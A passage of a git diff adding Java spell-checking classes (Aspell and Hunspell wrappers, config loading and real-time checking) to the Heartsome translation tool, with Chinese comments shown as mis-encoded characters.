processTarget_1(commandLine, pureText.replace('\n', '\u0007')); + + return errorWords; + } + + /** + * 创建 è¿è¡Œå‘½ä»¤è¡Œä»£ç  + * @param language + */ + private void createCommandLine(String language){ + String dictionary = aspellConfig.getDictionaryForLang(language); + +// language = TextUtil.normLanguage(language); + String commandLine = command + " -a --lang=" + language; + if (!dictionary.equals("")) { + commandLine = commandLine + " --master=" + dictionary; + } + commandLineMap.put(language, commandLine); + } + + /** + * 这是之å‰çš„方法,现在ä¸äºŽè°ƒç”¨ + */ + private void processTarget(String commandLine, String target) { + try { + spellProcess = runtime.exec(commandLine); + + spellReader = new BufferedReader(new InputStreamReader(spellProcess.getInputStream())); + spellWriter = new BufferedWriter(new OutputStreamWriter(spellProcess.getOutputStream())); + // 跳过aspellçš„ç‰ˆæœ¬å· + spellReader.readLine(); + +// spellProcess.waitFor(); + target = target.replace('\n', '\u0007'); + spellWriter.write(spellCheckLinePrefix + target); + spellWriter.newLine(); + spellWriter.flush(); + response = spellReader.readLine(); + + } catch (Exception e) { + isError = true; + Display.getDefault().syncExec(new Runnable() { + public void run() { + MessageDialog.openError(shell, Messages.getString("qa.all.dialog.error"), Messages.getString("qa.spellCheck.AspellChecker.tip1")); + } + }); + logger.error(Messages.getString("qa.spellCheck.AspellChecker.tip1"), e); + return; + } + checkStatus(); + + try { + spellReader.close(); + spellWriter.close(); + spellProcess.destroy(); + } catch (Exception e) { + e.printStackTrace(); + logger.error(Messages.getString("qa.spellCheck.all.log1"), e); + } + } + + + private void processTarget_1(final String commandLine, final String target) { + try { + spellProcess = runtime.exec(commandLine); + + spellReader = new BufferedReader(new InputStreamReader( + spellProcess.getInputStream())); + spellWriter = new BufferedWriter(new OutputStreamWriter( + spellProcess.getOutputStream())); + + new Thread() { + public void run() { + spellReader = new BufferedReader(new InputStreamReader( + spellProcess.getInputStream())); + spellWriter = new BufferedWriter(new OutputStreamWriter( + spellProcess.getOutputStream())); + try { + // 跳过aspellçš„ç‰ˆæœ¬å· + spellReader.readLine(); + spellWriter.write(spellCheckLinePrefix + target); + spellWriter.newLine(); + spellWriter.flush(); + response = spellReader.readLine(); + + checkStatus(); + } catch (IOException e) { + e.printStackTrace(); + isError = true; + Display.getDefault().syncExec(new Runnable() { + public void run() { + MessageDialog.openError(shell, Messages.getString("qa.all.dialog.error"), Messages.getString("qa.spellCheck.AspellChecker.tip1")); + } + }); + logger.error(Messages.getString("qa.spellCheck.AspellChecker.tip1"), e); + return; + } finally { + try { + spellReader.close(); + spellWriter.close(); + } catch (IOException e) { + e.printStackTrace(); + } + } + } + }.start(); + + new Thread() { + public void run() { + BufferedReader errorReader = new BufferedReader( + new InputStreamReader(spellProcess.getErrorStream()), + 4096); + try { + String line2 = null; + while (spellProcess != null && errorReader != null && (line2 = errorReader.readLine()) != null) { + if (line2 != null) { +// System.out.println("line2 =" + line2); + } + } + } catch (IOException e) { + e.printStackTrace(); + } finally { + try { + errorReader.close(); + } catch (IOException e) { + e.printStackTrace(); + } + } + } + }.start(); + + int status = spellProcess.waitFor(); + if (status != 0) { + isError = true; + Display.getDefault().syncExec(new Runnable() { + public void run() { + MessageDialog.openError(shell, Messages.getString("qa.all.dialog.error"), Messages.getString("qa.spellCheck.AspellChecker.tip1")); + } + }); + logger.error(Messages.getString("qa.spellCheck.AspellChecker.tip1")); + } + spellProcess.destroy(); + + try { + spellReader.close(); + spellWriter.close(); + spellProcess.getErrorStream().close(); + spellProcess.getInputStream().close(); + spellProcess.getOutputStream().close(); + } catch (Exception ee) { + logger.error("Aspell check error", ee); + } + } catch (Exception e) { + try { + if ((spellReader != null)) { + spellReader.close(); + } + if ((spellWriter != null)) { + spellWriter.close(); + } + if (spellProcess != null) { + spellProcess.getErrorStream().close(); + spellProcess.getInputStream().close(); + spellProcess.getOutputStream().close(); + } + } catch (Exception ee) { + logger.error("Aspell check error", ee); + } + } + } + + /** + * aspell è¯å…¸æ˜¯å¦å‘生错误,如果错误,将ä¸å†è¿›è¡Œæ‹¼å†™æ£€æŸ¥ + * @return + */ + public boolean isError() { + return isError; + } + + private void checkStatus() { + try { + while (response != null && !response.equals("")) { + if (isError) { + return; + } + if (response.equals("*")) { + // 当å‰å•è¯æ˜¯å­˜åœ¨äºŽè¯å…¸ä¸­çš„ + spellWriter.write(spellCheckLinePrefix); + spellWriter.newLine(); + spellWriter.flush(); + response = spellReader.readLine(); + } else { + if (response.startsWith("&") || response.startsWith("#")) { + parseSuggestions(response); + response = spellReader.readLine(); + } + } + } + if (response == null || response.equals("")) { + return; + } + } catch (IOException e) { + MessageBox box = new MessageBox(shell, SWT.ICON_ERROR); + box.setMessage(e.getMessage()); + box.open(); + logger.error(Messages.getString("qa.spellCheck.all.log2"), e); + } + } + + /** + * 分解查询结果,将错误å•è¯æ·»åŠ åˆ°ç»“果集中 + * 查询结果如:& yayay 62 1: Maya, ayah, ya, Yalu, Yuan, yaws, yuan, yaw, 第二个值为错误å•è¯ï¼Œç¬¬ä¸‰ä¸ªå€¼ä¸ºå»ºè®®å•è¯ä¸ªæ•°ï¼Œç¬¬å››ä¸ªå€¼ä¸ºè¯¥å•è¯èµ·å§‹ä¸‹æ ‡ï¼ˆä»Ž1开始的) + * @param line ; + */ + private void parseSuggestions(String line) { + StringTokenizer st = new StringTokenizer(line); + if (st.hasMoreTokens()) { + st.nextToken(); + st.nextToken(); + st.nextToken(); + + int start = -1; + if (st.hasMoreTokens()) { + // 备注,aspell 的查询结果,æ¯ä¸ªå•è¯çš„起始å标是从 1 开始的 + start = Integer.parseInt(st.nextToken().replace(":", "")) - 1; + }else { + return; + } + + int startAdd = 0; + if (tagPositionList != null) { + // 将标记放回去,使æ¯ä¸ªéžè¯‘片段回å¤ä¹‹å‰æœªåŽ»æ ‡è®°çš„çŠ¶æ€ + for(Integer tagIndex : tagPositionList){ + if (start > tagIndex) { + startAdd ++; + } + } + start = start + startAdd; + } + + boolean exsit = false; + for(SingleWord word : wordList){ + if (word.getStart() == start) { + errorWords.add(word); + exsit = true; + break; + } + } + + if (!exsit) { + logger.error("Aspell check error."); + } + } + } + + + public boolean langIsLoad(String language) { + return false; + } + + public boolean checkLangAvailable(String language) { + if (aspellConfig == null || aspellConfig.getDictionaryList() == null) { + return false; + } + return aspellConfig.getDictionaryList().containsKey(language); + } + + public void setTagPosition(List tagPositionList) { + this.tagPositionList = tagPositionList; + } + +} \ No newline at end of file diff --git a/ts/net.heartsome.cat.ts.ui.qa/src/net/heartsome/cat/ts/ui/qa/spell/AspellConfig.java b/ts/net.heartsome.cat.ts.ui.qa/src/net/heartsome/cat/ts/ui/qa/spell/AspellConfig.java new file mode 100644 index 0000000..9322630 --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui.qa/src/net/heartsome/cat/ts/ui/qa/spell/AspellConfig.java @@ -0,0 +1,149 @@ +/* + * Created on Jan 2, 2004 + * + */ +package net.heartsome.cat.ts.ui.qa.spell; + +import java.io.BufferedReader; +import java.io.IOException; +import java.io.InputStreamReader; +import java.util.Hashtable; +import java.util.Map; +import java.util.Vector; + +import net.heartsome.cat.ts.core.qa.QAConstant; +import net.heartsome.cat.ts.core.qa.QAXmlHandler; +import net.heartsome.cat.ts.ui.qa.resource.Messages; + +import org.eclipse.swt.widgets.Shell; +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; + +/** + * 管ç†aspellé…置文件的类 + * @author robert 2012-02-07 + * @version + * @since JDK1.6 + */ +public class AspellConfig { + + Shell shell; + static String commandLine; + static String configFile; + private Hashtable dictionaryList; + static boolean utf8; + public final static Logger logger = LoggerFactory.getLogger(AspellConfig.class.getName()); + + public AspellConfig(String _configFile) { + configFile = _configFile; + //开始解æžaspellé…置文件 + getConfiguration(configFile); + } + + + void setCommand(String _commandLine) { + commandLine = _commandLine; + } + + /** + * 获å–aspell程åºçš„å¯æ‰§è¡Œæ–‡ä»¶çš„路径 + */ + public String getCommand() { + if ( utf8 && !commandLine.endsWith(" --encoding=utf-8") && !commandLine.equals("")) { + commandLine = commandLine + " --encoding=utf-8"; + } + if (!utf8 && commandLine.endsWith(" --encoding=utf-8")) { + commandLine = commandLine.substring(0, commandLine.indexOf(" --encoding=utf-8")); + } + return commandLine; + } + + public String getDictionaryForLang(String lang){ + String result = null; + //getConfiguration(_configFile); + if (dictionaryList != null){ + Object dictionary = dictionaryList.get(lang); + result = (String) dictionary; + } + return result; + } + + void setDictionaryForLang(String lang, String dictionary){ + if (dictionaryList == null){ + dictionaryList = new Hashtable(); + } + + String[] list = getDictionaries(commandLine); + for (int i=0 ; i newResultMap = handler.openFile(aspellConfigFile); + // é’ˆå¯¹é€€å‡ºè§£æž + if (newResultMap != null + && QAConstant.RETURNVALUE_RESULT_RETURN.equals(newResultMap.get(QAConstant.RETURNVALUE_RESULT))) { + return; + } + + commandLine = handler.getNodeText(aspellConfigFile, "/aspell/commandLine", ""); + + if (!commandLine.equals("")) { + if (handler.getNodeText(aspellConfigFile, "/aspell/utf8", "yes").equals("yes")) { + utf8 = true; + } else { + utf8 = false; + } + } else { + utf8 = false; + } + dictionaryList = handler.getAspellDictionaries(aspellConfigFile); + } catch (Exception e) { + e.printStackTrace(); + logger.error(Messages.getString("qa.spellCheck.all.log2"), e); + } + } + + public String[] getDictionaries(String command) { + String response; + Process spellProcess; + + Runtime runtime = Runtime.getRuntime(); + try { + spellProcess = runtime.exec(command + " dump dicts --encoding=utf-8"); //$NON-NLS-1$ + BufferedReader spellReader = + new BufferedReader(new InputStreamReader(spellProcess.getInputStream())); + response = spellReader.readLine(); + Vector result = new Vector(); + while (response != null && !response.equals("")) { //$NON-NLS-1$ + result.add(response); + response = spellReader.readLine(); + } + String[] dicts = new String[result.size()]; + for (int i = 0; i < result.size(); i++) { + dicts[i] = result.get(i); + } + return dicts; + } catch (IOException e) { + logger.error(Messages.getString("qa.spellCheck.all.log3"), e); + return new String[0]; + } + } + + public Hashtable getDictionaryList() { + return dictionaryList; + } + +} diff --git a/ts/net.heartsome.cat.ts.ui.qa/src/net/heartsome/cat/ts/ui/qa/spell/Hunspell.java b/ts/net.heartsome.cat.ts.ui.qa/src/net/heartsome/cat/ts/ui/qa/spell/Hunspell.java new file mode 100644 index 0000000..c869701 --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui.qa/src/net/heartsome/cat/ts/ui/qa/spell/Hunspell.java @@ -0,0 +1,487 @@ +package net.heartsome.cat.ts.ui.qa.spell; + +import java.io.File; +import java.io.FileNotFoundException; +import java.io.UnsupportedEncodingException; +import java.text.MessageFormat; +import java.util.ArrayList; +import java.util.Collections; +import java.util.HashMap; +import java.util.LinkedList; +import java.util.List; +import java.util.Map; + +import net.heartsome.cat.common.resources.ResourceUtils; +import net.heartsome.cat.ts.core.bean.SingleWord; +import net.heartsome.cat.ts.core.qa.QAConstant; +import net.heartsome.cat.ts.core.qa.QAXmlHandler; +import net.heartsome.cat.ts.ui.qa.resource.Messages; +import net.heartsome.cat.ts.ui.qa.spell.inter.HSSpellChecker; +import net.heartsome.cat.ts.ui.qa.spell.inter.HunspellLibrary; + +import org.eclipse.core.resources.IWorkspaceRoot; +import org.eclipse.core.resources.ResourcesPlugin; +import org.eclipse.core.runtime.Platform; +import org.eclipse.jface.dialogs.MessageDialog; +import org.eclipse.swt.widgets.Shell; +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; + +import com.sun.jna.Native; +import com.sun.jna.Pointer; +import com.sun.jna.ptr.PointerByReference; + +/** + * Hunspell 管ç†ç±» + * @author robert 2013-01-10 + */ +public class Hunspell implements HSSpellChecker{ + + /** å•ä¾‹æ¨¡å¼ï¼Œ Hunspell 实例 */ + private static Hunspell instance = null; + + /** ç”± JNA 创建的 Library 实例,由这个实例加载相关函数,进行è¯å…¸æŸ¥è¯¢ */ + private HunspellLibrary hunspellLibrary = null; + + private QAXmlHandler xmlHandler; + + /** hunspell 支æŒçš„语言,若一ç§è¯­è¨€ä¸æ»¡è¶³æ­¤é¡¹ï¼Œåˆ™é€€å‡º */ + private Map availableLangMap = new HashMap(); + + /** ä¿å­˜å½“å‰å·²ç»åŠ è½½çš„语言è¯å…¸ */ + private HashMap dictionariesMap = new HashMap(); + + /** hunspell è¿è¡Œåº“文件 */ + private String libFile; + + /** hunspell 拼写检查器是å¦è¿è¡Œé”™è¯¯çš„标识符 */ + private boolean isError = false; + + private Shell shell; + private final static Logger logger = LoggerFactory.getLogger(Hunspell.class.getName()); + private IWorkspaceRoot root; + + /** + * ç®¡ç† hunspell è¿è¡Œåº“,以åŠè¯å…¸ + * @return + * @throws UnsatisfiedLinkError + * @throws UnsupportedOperationException + */ + public static synchronized void synchronizeInit(Shell shell) throws UnsatisfiedLinkError, UnsupportedOperationException { + if (instance == null) { + instance = new Hunspell(shell); + } + } + + public static Hunspell getInstance(Shell shell){ + if (instance == null) { + synchronizeInit(shell); + } + return instance; + + } + + protected void tryLoad(String libFile) throws UnsupportedOperationException { + hunspellLibrary = (HunspellLibrary)Native.loadLibrary(libFile, HunspellLibrary.class); + } + + /** + * hunspell è¿è¡Œå®žä¾‹ + */ + public Hunspell(Shell shell){ + this.shell = shell; + + try { + root = ResourcesPlugin.getWorkspace().getRoot(); + // 先求出所有所支æŒçš„语言 + xmlHandler = new QAXmlHandler(); +// Bundle bundle = Platform.getBundle(Activator.PLUGIN_ID); +// String configXml = FileLocator.toFileURL(bundle.getEntry(QAConstant.QA_SPELL_hunspellConfigFile)).getPath(); +// String configXml = root.getLocation().append(QAConstant.QA_SPELL_hunspellConfigFile).toOSString() ; + String configXml = Platform.getConfigurationLocation().getURL().getPath() + QAConstant.QA_SPELL_hunspellConfigFile; + +// if (!new File(configXml).exists() || new File(configXml).isDirectory()) { +// copyHunspellData(); +// } + + if (!new File(configXml).exists() || new File(configXml).isDirectory()) { + isError = true; + MessageDialog.openError(shell, Messages.getString("qa.all.dialog.error"), + Messages.getString("qa.spell.hunspell.notFindHunpsellConfigTip")); + return; + } + availableLangMap = xmlHandler.getHunspellAvailableLang(configXml); + if (availableLangMap == null) { + MessageDialog.openError(shell, Messages.getString("qa.all.dialog.error"), + Messages.getString("qa.spell.hunspell.hunspellConfigErrorTip")); + isError = true; + return; + } + +// libFile = FileLocator.toFileURL(bundle.getEntry(QAConstant.QA_SPELL_hunspellLibraryFolder)).getFile(); +// libFile = new File(libFile).getAbsolutePath() + System.getProperty("file.separator") + libName(); +// libFile = "C:\\Documents and Settings\\Administrator\\æ¡Œé¢\\h\\lib\\" + libName(); +// libFile = root.getLocation().append(".metadata/h/native-library").append(libName()).toOSString(); +// libFile = new File(Platform.getConfigurationLocation().getURL().getPath() + "h/native-library" + System.getProperty("file.separator") + libName()).getAbsolutePath(); + libFile = root.getLocation().append(QAConstant.QA_SPELL_hunspellLibraryFolder).append(libName()).toOSString() ; + if (!new File(libFile).exists() || new File(libFile).isDirectory()) { + copyHunspellLibFile(); + } + + if (!new File(libFile).exists()) { + MessageFormat.format(Messages.getString("qa.spell.hunspell.notFindHunspellLibTip"), new Object[]{libFile}); + isError = true; + return; + } + // 加载è¿è¡Œåº“ + hunspellLibrary = (HunspellLibrary)Native.loadLibrary(libFile, HunspellLibrary.class); + } catch (Exception e) { + isError = true; + e.printStackTrace(); + } + } + + public String getLibFile() { + return libFile; + } + + /** + * 获å–å„个版本下的 hunspell 软件的函数库 + */ + public static String libName() throws UnsupportedOperationException { + String os = System.getProperty("os.name").toLowerCase(); + if (os.startsWith("windows")) { + return libNameBare()+".dll"; + } else if (os.startsWith("mac os x")) { + return libNameBare()+".jnilib"; + } else { + return "lib"+libNameBare()+".so"; + } + } + + public static String libNameBare() throws UnsupportedOperationException { + String os = System.getProperty("os.name").toLowerCase(); + String arch = System.getProperty("os.arch").toLowerCase(); + + boolean x86 = arch.equals("x86") || arch.equals("i386") || arch.equals("i686"); + boolean amd64= arch.equals("x86_64") || arch.equals("amd64") || arch.equals("ia64n"); + + if (os.startsWith("windows")) { + if (x86) { + return "hunspell-win-x86-32"; + } + if (amd64) { + return "hunspell-win-x86-64"; + } + + } else if (os.startsWith("mac os x")) { + if (x86) { + return "hunspell-darwin-x86-32"; + } + if (amd64) { + return "hunspell-darwin-x86-64"; + } + if (arch.equals("ppc")) { + return "hunspell-darwin-ppc-32"; + } + } else if (os.startsWith("linux")) { + if (x86) { + return "hunspell-linux-x86-32"; + } + if (amd64) { + return "hunspell-linux-x86-64"; + } + } + throw new UnsupportedOperationException("Unknown OS/arch: "+os+"/"+arch); + } + + + /** + * 获å–æŸç§è¯­è¨€çš„字典实例 + */ + public Dictionary getDictionary(String language) + throws FileNotFoundException, UnsupportedEncodingException { + // 如果语言å‘生改å˜ï¼Œé‡æ–°åŠ è½½è¯¥è¯­è¨€çš„è¯å…¸ + if (dictionariesMap.containsKey(language)) { + return dictionariesMap.get(language); + } else { + Dictionary dictionary = new Dictionary(language); + dictionariesMap.put(language, dictionary); + return dictionary; + } + } + + /** + * å°†è¯å…¸çš„语言从内存中移除 + */ + public void destroyDictionary(String baseFileName) { + if (dictionariesMap.containsKey(baseFileName)) { + dictionariesMap.remove(baseFileName); + } + } + + /** + * æŸç§è¯­è¨€çš„è¯å…¸å®žä¾‹ï¼ˆå•ä¾‹æ¨¡å¼ï¼‰ + */ + public class Dictionary { + /** hunspell 函数库的指针 */ + private Pointer hunspellDictPoint = null; + /** hunspell æ‰€ç”¨çš„ç¼–ç  */ + private String encoding; + + /** æŸç§è¯­è¨€çš„è¯å…¸å®žä¾‹ */ + public Dictionary(String language){ + try { + String dictionaryName = availableLangMap.get(language); + +// Bundle bundle = Platform.getBundle(Activator.PLUGIN_ID); +// String dictionaryFolder = FileLocator.toFileURL(bundle.getEntry(QAConstant.QA_SPELL_hunspellDictionaryFolder)).getPath(); +// String dictionaryFolder = "C:\\Documents and Settings\\Administrator\\æ¡Œé¢\\h\\hunspellDictionaries"; +// String dictionaryFolder = root.getLocation().append(".metadata/h/hunspellDictionaries").toOSString(); +// String dictionaryFolder = new File(Platform.getConfigurationLocation().getURL().getPath() + "h/hunspellDictionaries").getAbsolutePath(); + + String dictionaryFolder = root.getLocation().append(QAConstant.QA_SPELL_hunspellDictionaryFolder).toOSString() ; + if (!new File(dictionaryFolder).exists() || !new File(dictionaryFolder).isDirectory()) { + copyHunspellDictionaries(dictionaryName, language); + } + + String dicPath = dictionaryFolder + System.getProperty("file.separator") + dictionaryName + ".dic"; + String affPath = dictionaryFolder + System.getProperty("file.separator") + dictionaryName + ".aff"; + + File dic = new File(dicPath); + File aff = new File(affPath); + + if (!dic.exists() || !aff.exists() || !dic.canRead() || !aff.canRead()) { + copyHunspellDictionaries(dictionaryName, language); + } + + if (!dic.exists() || !aff.exists()) { + throw new FileNotFoundException(MessageFormat.format(Messages.getString("qa.spell.hunspell.notFindDictionaryTip"), new Object[]{language})); + } + + if (!dic.canRead() || !aff.canRead()) { + throw new FileNotFoundException(MessageFormat.format(Messages.getString("qa.spell.hunspell.dicReadErrorTip"), new Object[]{language})); + } + + hunspellDictPoint = hunspellLibrary.Hunspell_create(aff.getAbsolutePath(), dic.getAbsolutePath()); + encoding = hunspellLibrary.Hunspell_get_dic_encoding(hunspellDictPoint); + } catch (Exception e) { + e.printStackTrace(); + } + } + + /** + * 当程åºç»“æŸæ—¶ï¼Œé”€æ¯è¯å…¸ï¼Œé‡Šæ”¾èµ„æº + */ + public void destroy() { + if (hunspellLibrary != null && hunspellDictPoint != null) { + hunspellLibrary.Hunspell_destroy(hunspellDictPoint); + hunspellDictPoint = null; + } + } + + /** + * 查询一个å•è¯æ˜¯å¦æ‹¼å†™é”™è¯¯ï¼Œè‹¥æ‹¼å†™è§„范,则返回 true + */ + public boolean misspelled(String word) { + try { + return hunspellLibrary.Hunspell_spell(hunspellDictPoint, stringToBytes(word)) == 0; + } catch (UnsupportedEncodingException e) { + return true; + } + } + + /** + * 在è¯å…¸çš„ç¼–ç ä¸­ï¼Œå°†ä¸€ä¸ª java 字符串转æ¢æˆä¸€ä¸ª 0 节字的数组,这如 hunspell 功能所预期的一样 + */ + protected byte[] stringToBytes(String str) throws UnsupportedEncodingException { + return (str + "\u0000").getBytes(encoding); +// return (new String((str + "\u0000").getBytes(), "GB2312")).getBytes(encoding); +// return (str + (new String("\u0000".getBytes(), "utf8"))).getBytes(encoding); +// return ((new String((str + "\u0000").getBytes(), encoding))).getBytes(encoding); //ISO8859-1 +// return ((new String(str.getBytes(), "utf-8")) + new String("\u0000".getBytes(), "utf-8")).getBytes(encoding); +// return ((new String(str.getBytes(), encoding)) + new String("\u0000".getBytes(), encoding)).getBytes(encoding); +// return ((new String(str.getBytes(), "GBK")) + new String("\u0000".getBytes(), "GBK")).getBytes(encoding); +// logger.info(str); +// String word = new String((str + "\u0000").getBytes("UTF-8"), encoding); +// logger.info(word); +// word = new String((str + "\u0000").getBytes("GB2312"), encoding); +// logger.info(word); +// word = new String((str + "\u0000").getBytes("iso-8859-1"), encoding); +// logger.info(word); +// word = new String((str + "\u0000").getBytes("GBK"), encoding); +// logger.info(word); +// word = new String((str + "\u0000").getBytes(encoding), encoding); +// logger.info(word); +// logger.info("--------------------------"); +// +// +//// return (new String((str + "\u0000").getBytes("UTF-8"), encoding)).getBytes(encoding); +//// return str.getBytes("iso-8859-1"); +//// return (new String((str + "\u0000").getBytes(encoding), "UTF-8")).getBytes("UTF-8"); +// String word1 = str + "\u0000"; +// return word1.getBytes(encoding); // ä¸åŠ æ‹¬å· + } + + + + /** + * 返回一个å•è¯çš„正确拼写建议 + */ + public List suggest(String word) { + try { + int suggestionsCount = 0; + PointerByReference suggestions = new PointerByReference(); + suggestionsCount = hunspellLibrary.Hunspell_suggest( + hunspellDictPoint, suggestions, stringToBytes(word)); + return pointerToCStringsToList(suggestions, suggestionsCount); + } catch (UnsupportedEncodingException ex) { + return Collections.emptyList(); + } + } + + private List pointerToCStringsToList(PointerByReference slst, int n) { + if ( n == 0 ) { + return Collections.emptyList(); + } + List strings = new ArrayList(n); + try { + // Get each of the suggestions out of the pointer array. + Pointer[] pointerArray = slst.getValue().getPointerArray(0, n); + for (int i=0; i Integer.MAX_VALUE) { + throw new RuntimeException("String improperly terminated: " + len); + } + byte[] data = pointerArray[i].getByteArray(0, (int)len); + strings.add(new String(data, encoding)); + } + } + } catch (UnsupportedEncodingException e) { + // Shouldn't happen... + } finally { + hunspellLibrary.Hunspell_free_list(hunspellDictPoint, slst, n); + } + return strings; + } + } + + public void setTarget(String t) { + + } + + public List getErrorWords(String tgtText, List wordList, String language) { + List errorWords = new LinkedList(); + try { + Dictionary dictionary = getDictionary(language); + for (SingleWord wordBean : wordList) { +// if (SEPARATORS.indexOf(token) != -1) { +// continue; +// } + String pureWord = wordBean.getPureWord(); + // 以数字开头 + if (pureWord.matches("[\\d]*")) { + continue; + } + if (pureWord.length() == 1 && pureWord.charAt(0) >= '\uE000' && pureWord.charAt(0) <= '\uF8FF') { + continue; + } + if (pureWord.trim().equals("") || pureWord.trim().equals("–")) { + continue; + } + + if (dictionary.misspelled(pureWord)) { + errorWords.add(wordBean); + } + } + } catch (Exception e) { + e.printStackTrace(); + } + return errorWords; + } + + + public boolean isError() { + return isError; + } + + public boolean langIsLoad(String language) { + return dictionariesMap.containsKey(language); + } + + public boolean checkLangAvailable(String language) { + return availableLangMap.containsKey(language); + } + + + /** + * å°† hunspell çš„è¯å…¸ä»Ž configurationa 中拷到 工作空间下 çš„ .metadata/hunspell/hunspellDictionaries ä¸‹é¢ + */ + private void copyHunspellDictionaries(String dictionaryName, String language) throws Exception{ + String tgtDicFolderPath = ResourcesPlugin.getWorkspace().getRoot() + .getLocation().append(QAConstant.QA_SPELL_hunspellDictionaryFolder).toOSString(); + File dicFolder = new File(tgtDicFolderPath); + if (!dicFolder.exists() || dicFolder.isFile()) { + dicFolder.mkdirs(); + } + String srcDicFolderPath = Platform.getConfigurationLocation().getURL().getPath() + + "net.heartsome.cat.ts.ui" + System.getProperty("file.separator") + "hunspell" + + System.getProperty("file.separator") + "hunspellDictionaries"; + + String srcDicPath = srcDicFolderPath + System.getProperty("file.separator") + dictionaryName + ".dic"; + String srcAffPath = srcDicFolderPath + System.getProperty("file.separator") + dictionaryName + ".aff"; + + if (!new File(srcDicPath).exists() || !new File(srcAffPath).exists() || !new File(srcDicPath).canRead() || !new File(srcAffPath).canRead()) { + throw new FileNotFoundException(MessageFormat.format(Messages.getString("qa.spell.hunspell.notFindDictionaryTip"), new Object[]{language})); + } + + try { + String tgtDicPath = tgtDicFolderPath + System.getProperty("file.separator") + dictionaryName + ".dic"; + String tgtAffPath = tgtDicFolderPath + System.getProperty("file.separator") + dictionaryName + ".aff"; + + ResourceUtils.copyDirectory(new File(srcDicPath), new File(tgtDicPath)); + ResourceUtils.copyDirectory(new File(srcAffPath), new File(tgtAffPath)); + } catch (Exception e) { + e.printStackTrace(); + logger.error(Messages.getString("qa.spell.hunspell.LOG.copyError"), e); + } + } + + /** + * å°† hunspell çš„è¿è¡Œåº“æ‹·è´åˆ°å·¥ä½œç©ºé—´çš„ .metadata/hunspell/native-library 下 + */ + private void copyHunspellLibFile(){ + String hunspellPath = ResourcesPlugin.getWorkspace().getRoot().getLocation().append(QAConstant.QA_SPELL_hunspellFolder).toOSString(); + File hunspellFolder = new File(hunspellPath); + if (!hunspellFolder.exists() || hunspellFolder.isFile()) { + hunspellFolder.mkdirs(); + } + + String srcLocation = Platform.getConfigurationLocation().getURL().getPath() + + "net.heartsome.cat.ts.ui" + System.getProperty("file.separator") + "hunspell" + + System.getProperty("file.separator") + "native-library"; + try { + String libFolderPath = root.getLocation().append(QAConstant.QA_SPELL_hunspellLibraryFolder).toOSString(); + ResourceUtils.copyDirectory(new File(srcLocation), new File(libFolderPath)); + } catch (Exception e) { + e.printStackTrace(); + logger.error(Messages.getString("qa.spell.hunspell.LOG.copyError"), e); + } + } + + public void setTagPosition(List tagPositionList) { + // do nothing, 该方法åªç”¨äºŽ aspell + } + + public static void main(String[] args) { + try { + System.out.println(("this" + "\u0000").getBytes("utf-8")); + } catch (Exception e) { + e.printStackTrace(); + } +// return (str + "\u0000").getBytes(encoding); + } + +} diff --git a/ts/net.heartsome.cat.ts.ui.qa/src/net/heartsome/cat/ts/ui/qa/spell/RealTimeSpellCheck.java b/ts/net.heartsome.cat.ts.ui.qa/src/net/heartsome/cat/ts/ui/qa/spell/RealTimeSpellCheck.java new file mode 100644 index 0000000..d98ebf8 --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui.qa/src/net/heartsome/cat/ts/ui/qa/spell/RealTimeSpellCheck.java @@ -0,0 +1,212 @@ +package net.heartsome.cat.ts.ui.qa.spell; + +import java.util.LinkedList; +import java.util.List; +import java.util.StringTokenizer; +import java.util.regex.Matcher; + +import net.heartsome.cat.common.core.Constant; +import net.heartsome.cat.common.innertag.factory.PlaceHolderEditModeBuilder; +import net.heartsome.cat.ts.core.bean.SingleWord; +import net.heartsome.cat.ts.core.qa.QAConstant; +import net.heartsome.cat.ts.ui.qa.Activator; +import net.heartsome.cat.ts.ui.qa.nonTransElement.NonTransElementOperate; +import net.heartsome.cat.ts.ui.qa.spell.inter.HSSpellChecker; +import net.heartsome.cat.ts.ui.xliffeditor.nattable.qa.IRealTimeSpellCheck; + +import org.eclipse.jface.preference.IPreferenceStore; +import org.eclipse.jface.util.IPropertyChangeListener; +import org.eclipse.jface.util.PropertyChangeEvent; +import org.eclipse.ui.PlatformUI; +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; + +/** + * 实时拼写检查实现类,之å‰è€ƒè™‘将些类åšæˆå•ä¾‹æ¨¡å¼ï¼Œä½†åŽæ¥å°† RealTimeSpellCheckTrigger åšæˆäº†å•ä¾‹æ¨¡å¼ï¼Œæ•…这个类ä¸éœ€è¦å†è¿™æ ·åšäº†ã€‚ + * @author robert 2013-01-21 + */ +public class RealTimeSpellCheck implements IRealTimeSpellCheck, IPropertyChangeListener{ + /** 拼写检查器类型 */ + private boolean isHunspell = false; + private HSSpellChecker spelling = null; + private NonTransElementOperate nontransOper; + private IPreferenceStore preferenceStore; + private boolean isRealTimeSpell = false; + private static StringTokenizer stringToken; + /** 是å¦å¿½ç•¥éžè¯‘元素 */ + private boolean ignoreNontrans; + /** 是å¦å¿½ç•¥å•è¯é¦–å­—æ¯ä¸ºæ•°å­— */ + private boolean ignoreDigitalFirst; + /** 是å¦å¿½ç•¥å•è¯é¦–å­—æ¯ä¸ºå¤§å†™ */ + private boolean ignoreUpperCaseFirst; + /** 忽略全大写å•è¯ */ + private boolean ignoreAllUpperCase; + + private static final Logger LOGGER = LoggerFactory.getLogger(RealTimeSpellCheck.class.getName()); + + public RealTimeSpellCheck(){ + preferenceStore = Activator.getDefault().getPreferenceStore(); + preferenceStore.addPropertyChangeListener(this); + + loadParams(); + } + + private void loadParams(){ + isHunspell = preferenceStore.getBoolean(QAConstant.QA_PREF_isHunspell); + isRealTimeSpell = preferenceStore.getBoolean(QAConstant.QA_PREF_realTimeSpell); + ignoreNontrans = preferenceStore.getBoolean(QAConstant.QA_PREF_ignoreNontrans); + ignoreDigitalFirst = preferenceStore.getBoolean(QAConstant.QA_PREF_ignoreDigitalFirst); + ignoreUpperCaseFirst = preferenceStore.getBoolean(QAConstant.QA_PREF_ignoreUpperCaseFirst); + ignoreAllUpperCase = preferenceStore.getBoolean(QAConstant.QA_PREF_ignoreAllUpperCase); + + if (isHunspell) { + if (ignoreNontrans) { + nontransOper = new NonTransElementOperate(); + nontransOper.openNonTransDB(); + } + spelling = new Hunspell(PlatformUI.getWorkbench().getActiveWorkbenchWindow().getShell()); + }else { + spelling = new AspellChecker(); + } + + } + + // interface + public boolean checkLangAvailable(String language){ + // 